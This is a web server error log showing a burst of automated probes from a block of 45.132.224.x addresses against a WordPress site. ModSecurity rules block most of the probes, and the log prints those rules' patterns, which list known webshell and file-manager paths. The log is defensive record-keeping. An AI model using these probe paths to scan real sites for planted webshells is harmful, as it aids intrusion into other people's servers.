[Mon Feb 23 11:59:26.620439 2026] [proxy_fcgi:error] [pid 25294:tid 25328] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:26.807034 2026] [proxy_fcgi:error] [pid 25294:tid 25330] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:27.286893 2026] [proxy_fcgi:error] [pid 25294:tid 25341] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:27.541896 2026] [proxy_fcgi:error] [pid 25294:tid 25372] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:27.712961 2026] [proxy_fcgi:error] [pid 25294:tid 25334] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:27.895640 2026] [proxy_fcgi:error] [pid 25294:tid 25360] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:28.121880 2026] [proxy_fcgi:error] [pid 25294:tid 25376] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:28.295699 2026] [proxy_fcgi:error] [pid 25294:tid 25362] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:28.471530 2026] [proxy_fcgi:error] [pid 25294:tid 25375] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:28.649104 2026] [proxy_fcgi:error] [pid 25294:tid 25374] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:28.839855 2026] [proxy_fcgi:error] [pid 25294:tid 25351] [client 45.132.224.132:57613] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:32.962836 2026] [:error] [pid 25294:tid 25370] [client 45.132.224.132:57613] [client 45.132.224.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aZvQpCRCFB3CqIo_jfaOrAAAAFI"]
[Mon Feb 23 11:59:33.953083 2026] [:error] [pid 25294:tid 25350] [client 45.132.224.118:32859] [client 45.132.224.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aZvQpSRCFB3CqIo_jfaOsQAAAEg"]
[Mon Feb 23 11:59:34.881847 2026] [proxy_fcgi:error] [pid 39540:tid 39576] [client 45.132.224.145:52077] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:35.433573 2026] [:error] [pid 39540:tid 39583] [client 45.132.224.145:52077] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aZvQp7sgm9aTWhlRScLi8QAAAc4"]
[Mon Feb 23 11:59:36.055268 2026] [proxy_fcgi:error] [pid 39504:tid 39522] [client 45.132.224.154:37475] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:36.230916 2026] [proxy_fcgi:error] [pid 39504:tid 39526] [client 45.132.224.154:37475] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:36.408608 2026] [:error] [pid 39504:tid 39529] [client 45.132.224.154:37475] [client 45.132.224.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aZvQqHLcHpOlI9gwwJrt6gAAAVc"]
[Mon Feb 23 11:59:37.074743 2026] [proxy_fcgi:error] [pid 39540:tid 39589] [client 45.132.224.146:58501] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:38.072443 2026] [:error] [pid 39540:tid 39575] [client 45.132.224.146:58501] [client 45.132.224.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aZvQqrsgm9aTWhlRScLi_gAAAcY"]
[Mon Feb 23 11:59:38.626567 2026] [:error] [pid 39640:tid 39694] [client 45.132.224.131:43689] [client 45.132.224.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aZvQqtsK--eVCgzvvudoUwAAApg"]
[Mon Feb 23 11:59:38.984137 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.153:24277] [client 45.132.224.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aZvQqrsgm9aTWhlRScLjBAAAAdU"]
[Mon Feb 23 11:59:39.406031 2026] [:error] [pid 39640:tid 39673] [client 45.132.224.124:62261] [client 45.132.224.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aZvQq9sK--eVCgzvvudoVAAAAoM"]
[Mon Feb 23 11:59:39.780721 2026] [:error] [pid 39540:tid 39584] [client 45.132.224.108:58499] [client 45.132.224.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aZvQq7sgm9aTWhlRScLjCQAAAc8"]
[Mon Feb 23 11:59:40.253298 2026] [:error] [pid 25380:tid 25401] [client 45.132.224.130:63387] [client 45.132.224.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aZvQrKKrc8yFQ8fy78p59QAAANM"]
[Mon Feb 23 11:59:41.571053 2026] [:error] [pid 29909:tid 29922] [client 45.132.224.141:49659] [client 45.132.224.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aZvQrT9oc2QzltksUk64MAAAAQs"]
[Mon Feb 23 11:59:42.005863 2026] [proxy_fcgi:error] [pid 25380:tid 25404] [client 45.132.224.111:22759] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:42.439354 2026] [:error] [pid 25380:tid 25403] [client 45.132.224.111:22759] [client 45.132.224.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aZvQrqKrc8yFQ8fy78p5-gAAANU"]
[Mon Feb 23 11:59:42.815284 2026] [proxy_fcgi:error] [pid 39538:tid 39555] [client 45.132.224.127:32767] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:43.006547 2026] [proxy_fcgi:error] [pid 39538:tid 39544] [client 45.132.224.127:32767] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:43.210673 2026] [:error] [pid 39538:tid 39559] [client 45.132.224.127:32767] [client 45.132.224.127] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aZvQry4Zk8-cQOG3Znoy-wAAAZE"]
[Mon Feb 23 11:59:43.799302 2026] [:error] [pid 25295:tid 25365] [client 45.132.224.145:62043] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aZvQr42Av4J1Jnqi7yKkVwAAAJY"]
[Mon Feb 23 11:59:44.170363 2026] [proxy_fcgi:error] [pid 39639:tid 39665] [client 45.132.224.114:36537] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:44.338318 2026] [:error] [pid 39639:tid 39659] [client 45.132.224.114:36537] [client 45.132.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aZvQsBpFkMoMi8uTUUMwIAAAAlA"]
[Mon Feb 23 11:59:44.741643 2026] [proxy_fcgi:error] [pid 39640:tid 39694] [client 45.132.224.140:61475] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:45.342217 2026] [proxy_fcgi:error] [pid 39640:tid 39686] [client 45.132.224.140:61475] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:45.979361 2026] [:error] [pid 39640:tid 39675] [client 45.132.224.140:61475] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aZvQsdsK--eVCgzvvudoZAAAAoU"]
[Mon Feb 23 11:59:46.322342 2026] [proxy_fcgi:error] [pid 25380:tid 25394] [client 45.132.224.130:52517] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:46.493238 2026] [:error] [pid 25380:tid 25404] [client 45.132.224.130:52517] [client 45.132.224.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aZvQsqKrc8yFQ8fy78p6BAAAANY"]
[Mon Feb 23 11:59:46.846547 2026] [proxy_fcgi:error] [pid 25380:tid 25397] [client 45.132.224.140:26733] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:47.210830 2026] [:error] [pid 25380:tid 25405] [client 45.132.224.140:26733] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aZvQs6Krc8yFQ8fy78p6CwAAANc"]
[Mon Feb 23 11:59:47.723120 2026] [:error] [pid 25295:tid 25339] [client 45.132.224.121:39951] [client 45.132.224.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aZvQs42Av4J1Jnqi7yKkWgAAAIg"]
[Mon Feb 23 11:59:48.377408 2026] [proxy_fcgi:error] [pid 25380:tid 25382] [client 45.132.224.111:21459] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:48.551987 2026] [proxy_fcgi:error] [pid 25380:tid 25401] [client 45.132.224.111:21459] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:48.923135 2026] [:error] [pid 25380:tid 25395] [client 45.132.224.111:21459] [client 45.132.224.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aZvQtKKrc8yFQ8fy78p6GAAAAM0"]
[Mon Feb 23 11:59:49.463403 2026] [:error] [pid 25295:tid 25342] [client 45.132.224.116:57695] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aZvQtY2Av4J1Jnqi7yKkXQAAAIo"]
[Mon Feb 23 11:59:50.053598 2026] [:error] [pid 25294:tid 25331] [client 45.132.224.157:35881] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aZvQtiRCFB3CqIo_jfaOvgAAAEI"]
[Mon Feb 23 11:59:51.427973 2026] [:error] [pid 39640:tid 39689] [client 45.132.224.119:52483] [client 45.132.224.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aZvQt9sK--eVCgzvvudoZQAAApM"]
[Mon Feb 23 11:59:51.815636 2026] [:error] [pid 25293:tid 25309] [client 45.132.224.132:32329] [client 45.132.224.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aZvQt-L9XfBf66iHi_eUeAAAAAo"]
[Mon Feb 23 11:59:52.532030 2026] [proxy_fcgi:error] [pid 39540:tid 39569] [client 45.132.224.113:61251] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 11:59:52.986547 2026] [:error] [pid 39540:tid 39587] [client 45.132.224.113:61251] [client 45.132.224.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aZvQuLsgm9aTWhlRScLjHAAAAdI"]
[Mon Feb 23 11:59:55.190657 2026] [:error] [pid 39540:tid 39577] [client 45.132.224.113:39803] [client 45.132.224.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aZvQu7sgm9aTWhlRScLjLAAAAcg"]
[Mon Feb 23 11:59:56.409135 2026] [:error] [pid 39540:tid 39581] [client 45.132.224.137:49971] [client 45.132.224.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZvQvLsgm9aTWhlRScLjMgAAAcw"]
[Mon Feb 23 12:00:00.204546 2026] [proxy_fcgi:error] [pid 39640:tid 39687] [client 45.132.224.155:50805] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:01.665127 2026] [proxy_fcgi:error] [pid 39640:tid 39677] [client 45.132.224.155:50805] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:04.025531 2026] [proxy_fcgi:error] [pid 39640:tid 39683] [client 45.132.224.155:50805] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:04.596315 2026] [:error] [pid 39640:tid 39680] [client 45.132.224.155:50805] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aZvQxNsK--eVCgzvvudofgAAAoo"]
[Mon Feb 23 12:00:05.467882 2026] [:error] [pid 39640:tid 39676] [client 45.132.224.107:59273] [client 45.132.224.107] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.107, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aZvQxdsK--eVCgzvvudohQAAAoY"]
[Mon Feb 23 12:00:05.658903 2026] [proxy_fcgi:error] [pid 39640:tid 39686] [client 45.132.224.107:59273] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:06.591929 2026] [proxy_fcgi:error] [pid 39640:tid 39677] [client 45.132.224.107:59273] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:06.772367 2026] [proxy_fcgi:error] [pid 39640:tid 39681] [client 45.132.224.107:59273] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:07.753177 2026] [:error] [pid 39640:tid 39691] [client 45.132.224.107:59273] [client 45.132.224.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aZvQx9sK--eVCgzvvudokwAAApU"]
[Mon Feb 23 12:00:08.329188 2026] [proxy_fcgi:error] [pid 39640:tid 39686] [client 45.132.224.142:43519] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:08.592907 2026] [:error] [pid 39640:tid 39688] [client 45.132.224.142:43519] [client 45.132.224.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.142, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aZvQyNsK--eVCgzvvudolgAAApI"]
[Mon Feb 23 12:00:08.996456 2026] [:error] [pid 39640:tid 39693] [client 45.132.224.142:43519] [client 45.132.224.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aZvQyNsK--eVCgzvvudomAAAApc"]
[Mon Feb 23 12:00:09.557576 2026] [proxy_fcgi:error] [pid 39640:tid 39671] [client 45.132.224.128:24737] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:10.166333 2026] [proxy_fcgi:error] [pid 39640:tid 39685] [client 45.132.224.128:24737] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:10.530481 2026] [proxy_fcgi:error] [pid 39640:tid 39678] [client 45.132.224.128:24737] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:10.891226 2026] [:error] [pid 39640:tid 39694] [client 45.132.224.128:24737] [client 45.132.224.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aZvQytsK--eVCgzvvudopAAAApg"]
[Mon Feb 23 12:00:11.254667 2026] [proxy_fcgi:error] [pid 25294:tid 25370] [client 45.132.224.149:34183] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:11.870996 2026] [proxy_fcgi:error] [pid 25294:tid 25345] [client 45.132.224.149:34183] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:12.251273 2026] [proxy_fcgi:error] [pid 25294:tid 25330] [client 45.132.224.149:34183] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:12.626643 2026] [proxy_fcgi:error] [pid 25294:tid 25356] [client 45.132.224.149:34183] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:12.797943 2026] [:error] [pid 25294:tid 25366] [client 45.132.224.149:34183] [client 45.132.224.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aZvQzCRCFB3CqIo_jfaOzwAAAFA"]
[Mon Feb 23 12:00:13.143595 2026] [proxy_fcgi:error] [pid 25380:tid 25403] [client 45.132.224.142:34781] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:13.320657 2026] [proxy_fcgi:error] [pid 25380:tid 25406] [client 45.132.224.142:34781] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:13.579509 2026] [:error] [pid 25380:tid 25390] [client 45.132.224.142:34781] [client 45.132.224.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aZvQzaKrc8yFQ8fy78p6PgAAAMg"]
[Mon Feb 23 12:00:14.272794 2026] [proxy_fcgi:error] [pid 39540:tid 39583] [client 45.132.224.138:28937] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:14.661480 2026] [:error] [pid 39540:tid 39588] [client 45.132.224.138:28937] [client 45.132.224.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.132.224.138, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aZvQzrsgm9aTWhlRScLjeQAAAdM"]
[Mon Feb 23 12:00:14.839452 2026] [:error] [pid 39540:tid 39572] [client 45.132.224.138:28937] [client 45.132.224.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aZvQzrsgm9aTWhlRScLjegAAAcM"]
[Mon Feb 23 12:00:17.189048 2026] [proxy_fcgi:error] [pid 39540:tid 39591] [client 45.132.224.156:51387] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:17.948860 2026] [proxy_fcgi:error] [pid 39540:tid 39572] [client 45.132.224.156:51387] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:18.321625 2026] [proxy_fcgi:error] [pid 39540:tid 39582] [client 45.132.224.156:51387] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:00:18.508265 2026] [:error] [pid 39540:tid 39583] [client 45.132.224.156:51387] [client 45.132.224.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aZvQ0rsgm9aTWhlRScLjowAAAc4"]
[Mon Feb 23 12:00:18.911466 2026] [proxy_fcgi:error] [pid 39640:tid 39678] [client 45.132.224.145:26101] AH01071: Got error 'Primary script unknown'
